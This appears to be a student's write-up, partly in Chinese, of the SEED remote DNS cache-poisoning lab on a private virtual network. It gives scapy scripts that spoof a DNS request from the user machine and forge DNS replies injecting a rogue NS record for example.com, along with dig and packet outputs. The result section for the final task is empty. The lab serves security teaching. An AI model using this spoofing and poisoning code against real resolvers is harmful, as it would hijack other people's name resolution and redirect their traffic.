

Remote DNS Attack Lab

1 Lab Environment Setup

User VM 10.0.2.7
Local DNS Server 10.0.2.8 Apollo
Attacker VM 10.0.2.4
Domain name attackerZhuang.com

1.1 Task 4: Testing the Setup

1.1.1 Get the IP address of ns.attackerZhuang.com

```
@      IN      NS      ns.attackerZhuang.com.
@      IN      A       10.0.2.4
www    IN      A       10.0.2.5
ns     IN      A       10.0.2.4
*      IN      A       10.0.2.5

[11/16/20]seed@VM:~$ dig ns.attackerZhuang.com
; <<>> DiG 9.10.3-P4-Ubuntu <<>> ns.attackerZhuang.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14469
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ns.attackerZhuang.com.      IN      A
;; ANSWER SECTION:
ns.attackerZhuang.com. 259200 IN      A      10.0.2.4
;; Query time: 1 msec
;; SERVER: 10.0.2.8#53(10.0.2.8)
```

在用户机上运行 dig 命令得到的回答与在攻击者机器中设置的 IP 地址相符。

1.1.2 Get the IP address of www.example.com

```
[11/16/20]seed@VM:~$ dig www.example.com
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28071
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;www.example.com.          IN      A
;; ANSWER SECTION:
www.example.com. 76584 IN      A      93.184.216.34
;; Query time: 192 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)

[11/16/20]seed@VM:~$ dig @ns.attackerZhuang.com www.example.com
; <<>> DiG 9.10.3-P4-Ubuntu <<>> @ns.attackerZhuang.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41595
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.          IN      A
;; ANSWER SECTION:
www.example.com. 259200 IN      A      1.2.3.5
;; AUTHORITY SECTION:
example.com. 259200 IN      NS      ns.attackerZhuang.com.
;; ADDITIONAL SECTION:
ns.attackerZhuang.com. 259200 IN      A      10.0.2.4
;; Query time: 1 msec
;; SERVER: 10.0.2.4#53(10.0.2.4)
```

当 dig 命令没有指定从 DNS 服务器 ns.attackerZhuang.com 上查询的话，会首先向 www.example.com 的官方 nameserver 查询它的 IP 地址。

2 The Attack Tasks

2.1 Task 4: Construct DNS request

2.1.1 Code

```
#!/usr/bin/python
# task4.py
from scapy.all import *

Qdsec = DNSQR(qname='haha.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(src='10.0.2.7', dst='10.0.2.8')
udp = UDP(dport=53, sport=33333, checksum=0)
send(ip/udp/dns)
```

2.1.2 Result

| | | | |
|---------------|---------------|-----|---|
| 10.0.2.7 | 10.0.2.8 | DNS | 70 Standard query 0xaaaa A haha.example.com |
| 10.0.2.8 | 199.43.133.53 | DNS | 87 Standard query 0xd1bd A haha.example.com OPT |
| 199.43.133.53 | 10.0.2.8 | DNS | 523 Standard query response 0xd1bd No such name A haha.example.com NSEC www.example.com |
| 10.0.2.8 | 10.0.2.7 | DNS | 132 Standard query response 0xaaaa No such name A haha.example.com SOA ns.icann.org |

成功伪装成用户机(10.0.2.7)向 DNS 服务器(10.0.2.8)发出一条 DNS 请求, 使 DNS 服务器向 ns.example.com 发出 DNS query

2.2 Task 5: Spoof DNS Replies

2.2.1 Code

```
#!/usr/bin/python
# task5.py
from scapy.all import *

name = 'haha.example.com' # used in DNSQR, so it's the same as request
domain = 'example.com' # domain of name
ns = 'ns.attackerZhuang.com' # attacker ns
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst='10.0.2.8', src='10.0.2.4') # sent from ns to local DNS server
udp = UDP(dport=33333, sport=53, checksum=0)
send(ip/udp/dns)
```

2.2.2 Result

Real query response

```

在 Task 4 中解释过，当 dig 命令没有指定从 DNS 服务器 ns.attackerZhuang.com 上查询的话，会首先向 www.example.com 的官方 nameserver 查询它的 IP 地址。但是在这里即便第一条命令没有指定从我设置的 nameserver 上查询，也一样通过 ns.attackerZhuang.com 进行了 DNS 请求。这是由于本地的 DNS 服务器已经认为 ns.attackerZhuang.com 是 example.com 的官方 nameserver，所以攻击成功了。
